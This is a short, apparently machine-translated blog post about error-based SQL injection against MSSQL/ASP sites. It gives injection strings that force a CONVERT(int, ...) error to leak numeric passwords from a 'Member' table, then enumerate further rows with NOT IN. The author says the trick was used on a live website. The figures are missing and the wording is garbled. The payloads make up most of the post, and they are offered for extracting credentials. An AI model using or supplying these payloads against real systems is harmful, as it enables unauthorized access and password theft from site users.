MSSQL error injection: a small idea of explosive numbers

MSSQL + ASP

Recently, I was working on a website. The password is pure numbers. If convert (int, () is converted, no error is returned, I don't know what functions or types others use to crack the password for data like "11111111", so I figured out a method that can be used temporarily.

Database Query:

Figure 1:

Figure 2:

 

Figure 3:

Figure 4:

Figure 5:

The following is an experiment.

Table Member Field Password

Statement

'Or 1 = convert (int, (select top 1 password from Member ))-

Statement 'or 1 = convert (int, (select top 1 password from member) + 'A ')-

 

Then query the next data

Statement 'or 1 = convert (int, (select top 1 password from member where password not in ('000000') + 'A ')-